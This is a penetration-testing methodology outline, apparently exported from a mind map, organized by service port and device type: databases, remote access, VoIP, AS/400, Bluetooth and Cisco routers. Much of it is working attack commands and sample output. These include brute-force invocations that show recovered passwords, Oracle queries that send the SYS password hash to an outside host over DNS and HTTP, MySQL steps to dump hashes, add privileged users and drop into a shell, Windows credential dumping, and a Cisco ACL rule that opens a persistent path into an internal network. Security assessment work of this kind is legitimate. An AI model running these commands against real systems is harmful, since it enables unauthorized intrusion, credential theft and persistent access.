rsh port 514 open
Rsh Enumeration
rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command
Rsh Brute Force
rsh-grind
Hydra
medusa
SQL Server Port 1433 1434 open
SQL Enumeration
piggy
SQLPing

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sqlping ip_address/hostname

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SQLPing2
SQLPing3
SQLpoke
SQL Recon
SQLver
SQL Brute Force
SQLPAT
sqlbf -u hashes.txt -d dictionary.dic -r out.rep - Dictionary Attack
sqlbf -u hashes.txt -c default.cm -r out.rep - Brute-Force Attack
SQL Dict
SQLAT
Hydra
SQLlhf
ForceSQL
Citrix port 1494 open
Citrix Enumeration
Default Domain
Published Applications
./citrix-pa-scan {IP_address/file | - | random} [timeout]
citrix-pa-proxy.pl IP_to_proxy_to [Local_IP]
Citrix Brute Force
bforce.js
connect.js
Citrix Brute-forcer
Reference Material
Hacking Citrix - the legitimate backdoor
Hacking Citrix - the forceful way
Oracle Port 1521 Open
Oracle Enumeration
oracsec
Repscan
Sidguess
Scuba
DNS/HTTP Enumeration
SQL> SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE US
ERNAME='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL; SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM
DBA_USERS WHERE USERNAM E='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL
SQL> select utl_http.request('http://gladius:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) from dual;
WinSID
Oracle default password list
TNSVer
tnsver host [port]
TCP Scan
Oracle TNSLSNR
Will respond to: [ping] [version] [status] [service] [change_password] [help] [reload] [save_config] [set log_directory] [set display_mode] [set log_file] [show]
[spawn] [stop]
TNSCmd
perl tnscmd.pl -h ip_address
perl tnscmd.pl version -h ip_address
perl tnscmd.pl status -h ip_address
perl tnscmd.pl -h ip_address --cmdsize (40 - 200)
LSNrCheck
Oracle Security Check (needs credentials)
OAT
sh opwg.sh -s ip_address
opwg.bat -s ip_address
sh oquery.sh -s ip_address -u username -p password -d SID OR c:\oquery -s ip_address -u username -p password -d SID
OScanner
sh oscanner.sh -s ip_address
oscanner.exe -s ip_address
sh reportviewer.sh oscanner_saved_file.xml
reportviewer.exe oscanner_saved_file.xml
NGS Squirrel for Oracle
Service Register
Service-register.exe ip_address
PLSQL Scanner 2008
Oracle Brute Force
OAK
ora-getsid hostname port sid_dictionary_list
ora-auth-alter-session host port sid username password sql
ora-brutesid host port start
ora-pwdbrute host port sid username password-file
ora-userenum host port sid userlistfile
ora-ver -e (-f -l -a) host port
breakable (Targets Application Server Port)
breakable.exe host url [port] [v]host ip_address of the Oracle Portal Serverurl PATH_INFO i.e. /pls/orassoport TCP port Oracle Portal Server is serving pages
fromv verbose

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SQLInjector (Targets Application Server Port)

sqlinjector -t ip_address -a database -f query.txt -p 80 -gc 200 -ec 500 -k NGS SOFTWARE -gt SQUIRREL
sqlinjector.exe -t ip_address -p 7777 -a where -gc 200 -ec 404 -qf q.txt -f plsql.txt -s oracle

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Check Password
orabf
orabf [hash]:[username] [options]
thc-orakel
Cracker
Client
Crypto
DBVisualisor
Sql scripts from pentest.co.uk
Manual sql input of previously reported vulnerabilties
Oracle Reference Material
Understanding SQL Injection
SQL Injection walkthrough
SQL Injection by example
Advanced SQL Injection in Oracle databases
Blind SQL Injection
SQL Cheatsheets
http://ha.ckers.org/sqlinjection
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.0x000000.com/?i=14
http://pentestmonkey.net/?
NFS Port 2049 open
NFS Enumeration
showmount -e hostname/ip_address
mount -t nfs ip_address:/directory_found_exported /local_mount_point
NFS Brute Force
Interact with NFS share and try to add/delete
Exploit and Confuse Unix
Examine Configuration Files
/etc/exports
/etc/lib/nfs/xtab
nmap nse script
nfs-showmount
Compaq/HP Insight Manager Port 2301,2381open
HP Enumeration
Authentication Method
Host OS Authentication
Default Authentication
Default Passwords
Wikto
Nstealth
HP Bruteforce
Hydra
Acunetix
Examine Configuration Files
path.properties
mx.log
CLIClientConfig.cfg
database.props
pg_hba.conf
jboss-service.xml
.namazurc
MySQL port 3306 open
Enumeration
nmap -A -n -p3306 <IP Address>
nmap -A -n -PN --script:ALL -p3306 <IP Address>
telnet IP_Address 3306
use test; select * from test;
To check for other DB's -- show databases
Administration
MySQL Network Scanner
MySQL GUI Tools
mysqlshow
mysqlbinlog
Manual Checks
Default usernames and passwords
username: root password:
testing
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
mysql -h <Hostname>
mysql -h <Hostname> -u ""@localhost

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Configuration Files

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Operating System
windows
config.ini
my.ini
windows\my.ini
winnt\my.ini
<InstDir>/mysql/data/
unix
my.cnf
/etc/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
~/.my.cnf
/etc/my.cnf
Command History
~/.mysql.history
Log Files
connections.log
update.log
common.log
To run many sql commands at once -- mysql -u username -p < manycommands.sql
MySQL data directory (Location specified in my.cnf)
Parent dir = data directory
mysql
test
information_schema (Key information in MySQL)
Complete table list -- select table_schema,table_name from tables;
Exact privileges -- select grantee, table_schema, privilege_type FROM schema_privileges;
File privileges -- select user,file_priv from mysql.user where user='root';
Version -- select version();
Load a specific file -- SELECT LOAD_FILE('FILENAME');
SSL Check
mysql> show variables like 'have_openssl';
If there's no rows returned at all it means the the distro itself doesn't support SSL connections and probably needs to be recompiled. If its disabled it
means that the service just wasn't started with ssl and can be easily fixed.
Privilege Escalation
Current Level of access
mysql>select user();
mysql>select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';
Access passwords
mysql> use mysql
mysql> select user,password from user;
Create a new user and grant him privileges
mysql>create user test identified by 'test';
mysql> grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
Break into a shell
mysql> \! cat /etc/passwd
mysql> \! bash
SQL injection
mysql-miner.pl
mysql-miner.pl http://target/ expected_string database
http://www.imperva.com/resources/adc/sql_injection_signatures_evasion.html
http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
References.
Design Weaknesses
MySQL running as root
Exposed publicly on Internet
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=mysql
http://search.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=mysql&x=0&y=0
RDesktop port 3389 open
Rdesktop Enumeration
Remote Desktop Connection
Rdestop Bruteforce
TSGrinder
tsgrinder.exe -w dictionary_file -l leet -d workgroup -u administrator -b -n 2 IP_Address
Tscrack
Sybase Port 5000+ open
Sybase Enumeration
sybase-version ip_address from NGS
Sybase Vulnerability Assessment
Use DBVisualiser
Sybase Security checksheet
Copy output into excel spreadsheet
Evaluate mis-configured parameters

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Manual sql input of previously reported vulnerabilties

Advanced SQL Injection in SQL Server
More Advanced SQL Injection

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NGS Squirrel for Sybase

SIP Port 5060 open
SIP Enumeration
netcat
nc IP_Address Port
sipflanker
python sipflanker.py 192.168.1-254
Sipscan
smap
smap IP_Address/Subnet_Mask
smap -o IP_Address/Subnet_Mask
smap -l IP_Address
SIP Packet Crafting etc.
sipsak
Tracing paths: - sipsak -T -s sip:usernaem@domain
Options request:- sipsak -vv -s sip:username@domain
Query registered bindings:- sipsak -I -C empty -a password -s sip:username@domain
siprogue
SIP Vulnerability Scanning/ Brute Force
tftp bruteforcer
Default dictionary file
./tftpbrute.pl IP_Address Dictionary_file Maximum_Processes
VoIPaudit
SiVuS
Examine Configuration Files
SIPDefault.cnf
asterisk.conf
sip.conf
phone.conf
sip_notify.conf
<Ethernet address>.cfg
000000000000.cfg
phone1.cfg
sip.cfg etc. etc.
VNC port 5900^ open
VNC Enumeration
Scans
5900^ for direct access.5800 for HTTP access.
VNC Brute Force
Password Attacks
Remote
Password Guess
vncrack
Password Crack
vncrack
Packet Capture
Phosshttp://www.phenoelit.de/phoss
Local
Registry Locations
\HKEY_CURRENT_USER\Software\ORL\WinVNC3
\HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
Decryption Key
0x238210763578887
Exmine Configuration Files
.vnc
/etc/vnc/config
$HOME/.vnc/config
/etc/sysconfig/vncservers
/etc/vnc.conf
X11 port 6000^ open
X11 Enumeration
List open windows
Authentication Method
Xauth
Xhost
X11 Exploitation
xwd
xwd -display 192.168.0.1:0 -root -out 192.168.0.1.xpm
Keystrokes
Received
Transmitted

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Screenshots
xhost +

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Examine Configuration Files

/etc/Xn.hosts
/usr/lib/X11/xdm
Search through all files for the command "xhost +" or "/usr/bin/X11/xhost +"
/usr/lib/X11/xdm/xsession
/usr/lib/X11/xdm/xsession-remote
/usr/lib/X11/xdm/xsession.0
/usr/lib/X11/xdm/xdm-config
DisplayManager*authorize:on
Tor Port 9001, 9030 open
Tor Node Checker
Ip Pages
Kewlio.net
nmap NSE script
Jet Direct 9100 open
hijetta
Password cracking
Rainbow crack
ophcrack
rainbow tables
rcrack c:\rainbowcrack\*.rt -f pwfile.txt
Ophcrack
Cain & Abel
John the Ripper
./unshadow passwd shadow > file_to_crack
./john -single file_to_crack
./john -w=location_of_dictionary_file -rules file_to_crack
./john -show file_to_crack
./john --incremental:All file_to_crack
fgdump
fgdump [-t][-c][-w][-s][-r][-v][-k][-l logfile][-T threads] {{-h Host | -f filename} -u Username -p Password | -H filename} i.e. fgdump.exe -u hacker -p hard_password -c -f
target.txt
pwdump6
pwdump [-h][-o][-u][-p] machineName
medusa
LCP
L0phtcrack (Note: - This tool was aquired by Symantec from @Stake and it is there policy not to ship outside the USA and Canada
Domain credentials
Sniffing
pwdump import
sam import
aiocracker
aiocracker.py [md5, sha1, sha256, sha384, sha512] hash dictionary_list
Vulnerability Assessment - Utilising vulnerability scanners all discovered hosts can then be tested for vulnerabilities. The result would then be analysed to determine if there any
vulnerabilities that could be exploited to gain access to a target host on a network. A number of tests carried out by these scanners are just banner grabbing/ obtaining version
information, once these details are known, the version is compared with any common vulnerabilities and exploits (CVE) that have been released and reported to the user. Other
tools actually use manual pen testing methods and display the output received i.e. showmount -e ip_address would display the NFS shares available to the scanner whcih would
then need to be verified by the tester.
Manual
Patch Levels
Confirmed Vulnerabilities
Severe
High
Medium
Low
Automated
Reports
Vulnerabilities
Severe
High
Medium
Low
Tools
GFI
Nessus (Linux)
Nessus (Windows)
NGS Typhon
NGS Squirrel for Oracle
NGS Squirrel for SQL
SARA
MatriXay
BiDiBlah
SSA
Oval Interpreter
Xscan
Security Manager +

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Inguma

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Resources
Security Focus
Microsoft Security Bulletin
Common Vulnerabilities and Exploits (CVE)
National Vulnerability Database (NVD)
The Open Source Vulnerability Database (OSVDB)
Standalone Database
Update URL
United States Computer Emergency Response Team (US-CERT)
Computer Emergency Response Team
Mozilla Security Information
SANS
Securiteam
PacketStorm Security
Security Tracker
Secunia
Vulnerabilities.org
ntbugtraq
Wireless Vulnerabilities and Exploits (WVE)
Blogs
Carnal0wnage
Fsecure Blog
g0ne blog
GNUCitizen
ha.ckers Blog
Jeremiah Grossman Blog
Metasploit
nCircle Blogs
pentest mokney.net
Rational Security
Rise Security
Security Fix Blog
Software Vulnerability Exploitation Blog
Taosecurity Blog

AS/400 Auditing
Remote
Information Gathering
Nmap using common iSeries (AS/400) services.
Unsecured services (Port;name;description)
446;ddm;DDM Server is used to access data via DRDA and for record level access
449;As-svrmap; Port Mapper returns the port number for the requested server
2001;As-admin-http;HTTP server administration
5544;As-mtgctrlj;Management Central Server used to manage multiple AS/400S in a net
5555;As-mtgctrl;Management Central Server used to manage multiple AS/400S in a net
8470;As-Central;Central Server used when a client Access licence is required for downloading translation tables
8471;As-Database;Database server used for accessing the AS/400 database
8472;As-dtaq;Data Queue server allows access to the AS/400 data queues used for passing data between applications
8473;As-file;File Server is used for accessing any part of the AS/400
8474;as-netprt; Printer Server used to access printers known to the AS/400
8475;as-rmtcmd;Remote Command Server used to send commands from PC to an AS/400
8476;as-signon;Sign-on server is used for every client Access connection to authenticate users and to change passwords
8480;as-usf;Ultimedia facilities used for multimedia data
Secured services (Port;name;description)
447;ddm-ssl;DDM Server is used to access data via DRDA and for record level access
448;ddm;DDM Server is used to access data via DRDA and for record level access
992;telnet-ssl;Telnet Server
2010;As-admin-https;HTTP server administration
5566;As-mtgctrl-ss;Management Central Server used to manage multiple AS/400S in a net
5577;As-mtgctrl-cs;Management Central Server used to manage multiple AS/400S in a net
9470;as-central-s;Central Server used when a client Access licence is required for downloading translation tables
9471;as-database-s;Database Server
9472;as-dtaq-s;Data Queue server allows access to the AS/400 data queues used for passing data between applications
9473;as-file-s;File Server is used for accessing any part of the AS/400
9474;as-netprt-s; Printer Server used to access printers known to the AS/400
9475;as-rmtcmd-s;Remote Command Server used to send commands from PC to an AS/400
9476;as-signon-s;Sign-on server is used for every client Access connection to authenticate users and to change passwords
NetCat (old school technique)
nc -v -z -w target ListOfServices.txt | grep "open"
Banners Grabbing
Telnet
Using TN5250
Tools
tn5250.sourceforce.net
Mochasoft (trial)

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SDI (Trial)
Debian package

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IBM Client Access iSeries (install for Debian)

Good How-To (in French).
Security-Database transcription in english
Download the Package from location
Convert RPM to DEB package
Aptitude install alien
alien iSeriesAccess-XX.rpm
Installing Deb Package
dpkg -i iSeriesAccess-xxx.deb
Running binary file
/opt/ibm/iSeriesAccess/bin/ibm5250
Sometimes this error occurs : error while loading libXm.so.3
This means OpenMotif is missing
Add deb http://ftp2.fr.debian.org/ sid main non-free to /etc/apt/sources.list
aptitude update
aptitude install libmotif3
Remove added line from /etc/apt/sources.list and launch aptitute update
After installing OpenMotif, this error sometimes occurs : error while loading libcwbcore.so
This means Lib Path to iseriesaccess could not be reached
You should add iseriesaccess (/opt/ibm/iSeriesAccess/lib) to /etc/ld.so.conf
run the command : ldconfig
Old School hack : LD_LIBRARY_PATH=/opt/ibm/iSeriesAccess/lib/:${LD_LIBRARY_PATH} /opt/ibm/iSeriesAccess
/bin/ibm5250

Something else
Search for binary using dpkg -L iseriesaccess
FTP
echo quit | nc -v target 21
HTTP Banner
echo GET / | nc -v target 80
Browser HTTP administrative (if available)
http://target:2001
http://target:2010
POP3
echo quit | nc target 110
Basic POP3 retriever
GetMail
SNMP
Snmpwalk
GFI Languard
SMTP
SMTPScan
Users Enumeration
Default AS/400 users accounts
Error messages
Telnet Login errors
CPF1107: Password not correct for user profile XXXX
CPF1120: User XXXX does not exist
CPF1116 : Next not valid sign-on attempt variers off device?
CPF1392 : Next not valid sign-on attempt disables user profile XXXX
CPF1394: User profile XXXX cannot sign on?
CPF1118:No password associated with the user XXXX
CPF1109: Not authorized to subsystem
CPF1110: Not authorized to work station?
POP3 authentication Errors
CPF2204: User profile XXXX not found
CPF22E2: Password not correct for User profile XXXX
CPF22E3: User profile XXXX is disabled
CPF22E4: Password for User profile XXXX has expired
CPF22E5: No Password associated with User profile XXXX
Qsys symbolic link (if ftp is enabled)
ftp target | quote stat | quote site namefmt 1
cd /
quote site listfmt 1
mkdir temp
quote rcmd ADDLNK OBJ('/qsys.lib') NEWLNK('/temp/qsys')
quote rcmd QSH CMD('ln -fs /qsys.lib /temp/qsys')
dir /temp/qsys/*.usrprf
Here you should list some profils
LDAP
Need os400-sys value from ibm-slapdSuffix
Think to grab it using FTP from (QIBM/UserData/OS400/DirSrv/
slapd.conf
dn: cn=System, cn=System Backends, cn=IBM Directory, cn=Schemas, cn=Configuration
cn: System

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slapdPlugin: database /QSYS.LIB/QGLDPSYS.SRVPGM sysprj_backend_init

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slapdReadOnly: FALSE
slapdSuffix: os400-sys=HERE IS THE VALUE YOU ARE LOOKING FOR
objectclass: top
objectclass: ibm-slapdConfigEntry
objectclass: ibm-slapdOs400SystemBackend
ibmslapd.conf
Resolve IP address.
Telnet Value screen.
Server : AS400_ANDOLINI
COMPANY : DONCORLEONE.COM
Value should be : AS400_ANDOLINI.DONCORLEONE.COM
Tool to browse LDAP
LdapBrowser
LDAP Utility
Luma Ldap brower and more
LdapSearch (unix utility)
Enumeration
ldapsearch -h AS400SERVER \ -b "cn=accounts,os400-sys=AS400-Name" \ -D "os400-profile=$LOGIN$,cn=accounts,os400sys=AS400-Name" \ -w $PASSWRD -L -s sub "os400-profile=*" > MyUSERS.log
AS400-Name : is the value you grabbed before
ldapsearch -h target \ -b "cn=accounts,os400-sys=AS400-Name" \ -D "os400-profile=$LOGIN$,cn=accounts,os400-sys=AS400-Name" \ -w
$PASSWRD -L -s sub "os400-profile=USER_YOU_WANT" > COMPLETEINFO_ONUSER.log
Exploitation
CVE References
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=AS400
CVE-2005-1244 - Severity : High - CVSS : 7.0
CVE-2005-1243 - Severity : Low - CVSS : 3.3
CVE-2005-1242 - Severity : Low - CVSS : 3.3
CVE-2005-1241 - Severity : High - CVSS : 7.0
CVE-2005-1240 - Severity : High - CVSS : 7.0
CVE-2005-1239 - Severity : Low - CVSS : 3.3
CVE-2005-1238 - Severity : High - CVSS : 9.0
CVE-2005-1182 - Severity : Low - CVSS : 3.3
CVE-2005-1133 - Severity : Low - CVSS : 3.3
CVE-2005-1025 - Severity : Low - CVSS : 3.3
CVE-2005-0868 - Severity : High - CVSS : 7.0
CVE-2005-0899 - Severity : Low - CVSS : 2.3
CVE-2002-1822 - Severity : Low - CVSS : 3.3
CVE-2002-1731 - Severity : Low - CVSS : 2.3
CVE-2000-1038 - Severity : Low - CVSS : 3.3
CVE-1999-1279 - Severity : Low - CVSS : 3.3
CVE-1999-1012 - Severity : Low - CVSS : 3.3
Access with Work Station Gateway
http://target:5061/WSG
Default AS/400 accounts.
Network attacks (next release)
DB2
QSHELL
Hijacking Terminals
Trojan attacks
Hacking from AS/400
Local
System Value Security
QSECURITY
System security level objects and operating system integrity
Recommended value : 30
Level of security selected is sufficient for keeping Passwords,
objects and operating system integrity
Insufficient security level could compromise
objects and operating system integrity
QVFYOBJRST
Verify object on restore verifies object signatures
during restore.
Do not verify signatures on restore, allowing such a command
or program represents an integrity risk to your system
QMAXSIGN
Maximum sign-on attempts
This restricts the number of times a user can incorrectly attempt
to sign-on to the system before being disabled.?
The action taken by the system when this number is exceeded
is determined by the preceding parameter
QINACTITV
Inactive Job Time-Out
Recommended value is 30

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Value 0 means the system will never

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log a user off the system.?

Password Policy
QPWDEXPITV
Password expiration interval specifies whether user passwords expire or not,
controls the number of days allowed before a password must be changed.
Number of days before expiration interval exceeds the recommended, this
compromises the password security on your system
QPWDRQDDIF
Duplicate password control prevents users
from specifying passwords that they have
used previously
Recommended value is 1
This prevents passwords from being reused for (returned value) generations for a user ID.?
QPWDMINLEN
Minimum password length specifies the
minimum number of characters for a password
Recommended value is 5 ( 6 is a must)
This forces passwords to a minimum length of (returned value) alphanumeric characters.
QPWDMAXLEN
Maximum password length maximum number
of characters for a password
Recommended value is 10
This limits the length of a password to (returned value) alphanumeric characters.?
QPWDLVL
Password level the system can be set to
allow for user profile passwords from 1-10 or
1-128 characters
Audit level
QAUDCTL
This ensures that all security related functions are audited and stored
in a log file for review and follow-up
Recommended value is *SECURITY
Documentation
Users class
*PGMR ---> Programmer
*SECADM ---> Security Administrator
*SECOFR ---> Security Officer
*SYSOPR --->System Operator
*USER ---> User
System Audit Settings
*AUDLVL System auditing : System auditing events logged and may be audited
*OBJAUD Object auditing : Object auditing activity defined logged and may be audited
*AUTFAIL Authorized failure:All access failure,Incorrect Password or User ID logged and may be audited
*PGMFAIL System integrity violation : Blocked instructions,Validation failure,Domain violation logged and may be audited
*JOBDTA Job tasks : Job start and stop data(disconnect,prestart) logged and may be audited
*NETCMN Communication & Networking tasks :Action that occur for APPN filtering support logged and may be audited
*SAVRST Object restore: Restore(PGM,JOBD,Authority,CMD,System State) logged and may be audited
*SECURITY Security tasks:All security related functions(CRT/CHG/DLT/RST) logged and may be audited
*SERVICE Services HW/SW: Actions for performing HW or SW services logged and may be audited
*SYSMGT System management: Registration,Network,DRDA,SysReplay,Operational not logged and cannot be audited
*CREATE Object creation:Newly created objects, Replace exisitng objects logged and may be audited
*DELETE Object deletion: All deletion of external objects logged and may be audited
*OFCSRV Office tasks: Office tasks(system distribution directory,Mail) logged and may be audited
*OPTICAL Optical tasks:Optical tasks(add/remove optical cartridge,Autho) logged and may be audited
*PGMADP Program authority adoption: Program adopted authority, gain access to an object logged and may be audited
*OBJMGT Object management:Object management logged and may be audited
*SPLFDTA Spool management:Spool management logged and may be audited
Special Authorities Definitions
All-Object Authority (*ALLOBJ) : This is the most powerful authority on any AS400 system. This authority grants the user complete access to everything
on the system. A user with All-Object Authority cannot be controlled.
Service Authority (*SERVICE) : Service Authority provides the user with the ability to change system hardware and disk configurations, to sniff network
traffic and to put programs into debug mode (troubleshooting mode) and see their internal workings. The system services tools include the ability to trace
systems functions and to patch and alter user made and IBM delivered programs on disk
manipulate data on disk.
Save and Restore Authority (*SAVSYS) : This authority allows the user to backup and restore objects. The user need not have authority to those objects.
The risk with SAVSYS Authority is that a user with this authority can save all objects (including the most sensitive files) to disk (save file), delete any object
(with the Free Storage option), restore the file to an alternate library, and then view and alter the information. Should the user alter the information, they would
have the ability to replace the production object with
their saved version.
System Configuration Authority (*IOSYSCFG) : System communication configuration authority can also be used to set up nearly invisible access from the

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outside as a security officer -- without needing a password. System Configuration Authority provides the ability to configure and change communication
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configurations (e.g. lines, controllers, devices), including the system's TCP/IP and Internet connection information.
Spool Control Authority (*SPLCTL) : Spool Control authority gives the user read and modify all spooled objects (reports, job queue entries, etc.) on your
system. The user may hold, release and clear job and output queues, even if they are not authorized to those queues.
Security Administrator Authority (*SECADM) : Security Administrator grants the authority to create, change and delete user ID?s. This authority should be
reserved to essential administration personnel only.
Job Control Authority (*JOBCTL) : Job Control Authority can be used to power down the system or toterminate subsystems or individual jobs at any
time, even during critical operational periods. Job Control Authority provides the capability to control other user?s jobs as well as their spooled
files and printers.
Audit Authority (*AUDIT) : Audit Authority puts a user in control of the system auditing functions. Such a user can manipulate the system
values that control auditing and control user and object auditing. These users could also turn off auditing for sensitive objects in an effort to
obscure certain actions
Bluetooth Specific Testing
General Tools
Bluescanner
Bluesweep
Bloover
Blueprint
Bluesnarfer
Bluebugger
bluebugger [OPTIONS] -a <addr> [MODE]
Blueserial
Bluelog
bluelog -vtn -o ./example.log
Bluesniff
bluez-hcidump
btscanner
Redfang
Spooftooph
Exploit Frameworks
Bluediving
BlueMaho
# atshell.c by Bastian Ballmann (modified attest.c by Marcel Holtmann)
# bccmd by Marcel Holtmann
# bdaddr.c by Marcel Holtmann
# bluetracker.py by smiley
# psm_scan and rfcomm_scan from bt_audit-0.1.1 by Collin R. Mulliner
# BSS (Bluetooth Stack Smasher) v0.8 by Pierre Betouin
# btftp v0.1 by Marcel Holtmann
# btobex v0.1 by Marcel Holtmann
# greenplaque v1.5 by digitalmunition.com
# L2CAP packetgenerator by Bastian Ballmann
# redfang v2.50 by Ollie Whitehouse
# ussp-push v0.10 by Davide Libenzi
# exploits:
Bluebugger v0.1 by Martin J. Muench
bluePIMp by Kevin Finisterre
BlueZ hcidump v1.29 DoS PoC by Pierre Betouin
helomoto by Adam Laurie
hidattack v0.1 by Collin R. Mulliner
Nokia N70 l2cap packet DoS PoC Pierre Betouin
Sony-Ericsson reset display PoC by Pierre Betouin
Bluetooth Penetration Testing Framework
Resources
URL's
BlueStumbler.org
Bluejackq.com
Bluejacking.com
Bluejackers
bluetooth-pentest
ibluejackedyou.com
Trifinite
Vulnerability Information
Common Vulnerabilities and Exploits (CVE)
Vulnerabilties and exploit information relating to these products can be found here: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=bluetooth
White Papers
Bluesnarfing
Fuzzing Bluetooth
NIST Guide to Bluetooth Security
Cisco Specific Testing
Methodology
Scan & Fingerprint.
The purpose of 'Scan & Fingerprint' is to identify open ports on the target device and attempt to determine the exact IOS version.??This then sets the plan for
further attacks.
It Telnet is active, then password guessing attacks should be performed.
If SNMP is active, then community string guessing should be performed.
Credentials Guessing.
If a network engineer/administrator has configured just one Cisco device with a poor password, then the whole network is open to attack.??Attempting to connect
with various usernames/passwords is a mandatory step to testing the level of security that the device offers.
Attempt to guess Telnet, HTTP and SSH account credentials. Once you have non-privileged access, attempt to discover the 'enable' password. Also attempt to
guess Simple Network Management Protocol (SNMP) community strings as they can lead to the config files of the router and therefore the 'enable' password!

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Connect
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Once you have identified the access credentials, whether that be HTTP, Telnet or SSH, then connect to the target device to identify further information.
If you have determined the 'enable' password, then full access has been achieved and you can alter the configuration files of the router.
Check for bugs
To check for known bugs, vulnerabilities or security flaws with the device, a good security scanner should be used
The most widely knwon/ used are: Nessus, Retina, GFI LanGuard and Core Impact.
There are also tools that check for specific flaws, such as the HTTP Arbitrary Access Bug: ios-w3-vuln
Further your attack
To further the attack into the target network, some changes need to be made to the running-config file of the target device. There are two main categories for
configuration files with Cisco routers - running-config and startup-confg:
running-config is the currently running configuration settings. This gets loaded from the startup-config on boot. This configuration file is editable and the
changes are immediate. Any changes will be lost once the router is rebooted. It is this file that requires altering to maintain a non-permenant connection
through to the internal network.
startup-config is the boot up configuration file. It is this file that needs altering to maintain a permenant connection through to the internal network.
Once you have access to the config files, you will need enable (privileged mode) access for this, you can add an access list rule to allow your IP address into the
internal network.???The following ACL will allow the defined <IP> access to any internal IP address. So if the router is protecting a web server and an email
server, this ACL will allow you to pass packets to those IP addresses on any port.??Therefore you should be able to port scan them efficiently.
#> access-list 100 permit ip <IP> any
Scan & Fingerprint.
Port Scanning
nmap
To effectively scan a Cisco device, both TCP and UDP ports across the whole range must be checked.
There are a number of tools that can achieve the goal, however we will stick with nmap examples.
TCP scan: - This will perform a TCP scan, fingerprint, be verbose, scan ports 1-65535 against IP 10.1.1.1 and output the results in normal mode to
TCP.scan.txt file. nmap??-sT??-O??-v??-p??1-65535??<IP>??-oN??TCP.scan.txt
UDP scan: - This will perform a UDP scan, be verbose,??scan ports 1.65535 against IP 10.1.1.1 and output the results in normal mode to UDP.scan.txt
file. nmap??-sU??-v??-p??1-65535??<IP>??-oN??UDP.scan.txt
Other tools
ciscos is a scanner for discovering Cisco devices in a given CIDR network range.
Usage: ./ciscos <IP> <class> [option]
mass-scanner is a simple scanner for discovering Cisco devices within a given network range.
Fingerprinting
cisco-torch is a fingerprinter for Cisco routers.?There are a number of different fingerprinting switches, such as SSH, telnet or HTTP e.g.??The -A switch should
perform all scans, however I have found it to be unreliable.
BT cisco-torch-0.4b # cisco-torch.pl -A 10.1.1.175
List of targets contains 1 host(s) 14489:??
Checking 10.1.1.175 ...
Fingerprint:2552511255251325525324255253311310
Description:Cisco IOS host (tested on 2611, 2950 and Aironet 1200 AP)
Fingerprinting Successful
Cisco-IOS Webserver found ?
HTTP/1.1 401 Unauthorized
Date: Mon, 01 Mar 1993 00:34:11 GMT
Server: cisco-IOS Accept-Ranges: none
WWW-Authenticate: Basic realm="level_15_access"
401 Unauthorized
nmap version scan: - Once open ports have been identified, version scanning should be performed against them.??In this example, TCP ports 23 and 80 were
found to be open.
TCP Port scan - nmap -sV -O -v -p 23,80 <IP> -oN TCP.version.txt
UDP Port scan - nmap -sV -O -v -p 161,162 <IP> -oN UDP.version.txt
Password Guessing.
CAT (Cisco Auditing Tool): - This tool??extends beyond simple discovery and can perform dictionary based attacks against the Telnet server and SNMP agents.
./CAT -h <IP> -a password.wordlist
BT cisco-auditing-tool-v.1.0 # CAT -h 10.1.1.175 -a /tmp/dict.txt
Guessing passwords:
Invalid Password: 1234
Invalid Password: 2read
Invalid Password: 4changes
Password Found: telnet
brute-enabler is an internal enable password guesser.??You require valid non-privilege mode credentials to use this tool, they can be either SSH or Telnet.
./enabler <IP> [-u username] -p password /password.wordlist [port]
BT brute-enable-v.1.0.2 # ./enabler??10.1.1.175??telnet??/tmp/dict.txt?
[`] OrigEquipMfr... wrong password
[`] Cisco... wrong password
[`] agent... wrong password
[`] all... wrong password
[`] possible password found: cisco
hydra: - hydra is a multi-functional password guessing tool.??It can connect and pass guessed credentials for many protocols and services, including Cisco Telnet
which may only require a password. (Make sure that you limit the threads to 4 (-t 4) as it will just overload the Telnet server!).
BT tmp # hydra -l "" -P password.wordlist -t 4 <IP> cisco
Hydra (http://www.thc.org) starting at 2007-02-26 10:54:10 [DATA] 4 tasks, 1 servers, 59 login tries (l:1/p:59),
~14 tries per task [DATA] attacking service cisco on port 23
Error: Child with pid 21671 was disconnected - retrying (1 of 1 retries)
[STATUS] attack finished for 10.1.1.175 (waiting for childs to finish)

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[23][cisco] host: 10.1.1.175???login:????password: telnet

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SNMP Attacks.
CAT (Cisco Auditing Tool): - This tool??extends beyond simple discovery and can perform dictionary based attacks against the Telnet server and SNMP agents.
./CAT -h <IP> -w SNMP.wordlist
BT cisco-auditing-tool-v.1.0# CAT -h 10.1.1.175 -w /tmp/snmp.txt
Checking Host: 10.1.1.175
Guessing passwords:
Invalid Password: cisco
Invalid Password: ciscos
Guessing Community Names:
Invalid Community Name: CISCO
Invalid Community Name: OrigEquipMfr
Community Name Found: Cisco
onesixtyone is a reliable SNMP community string guesser.???Once it identifies the correct community string, it will display accurate fingerprinting information.
onesixytone -c SNMP.wordlist <IP>
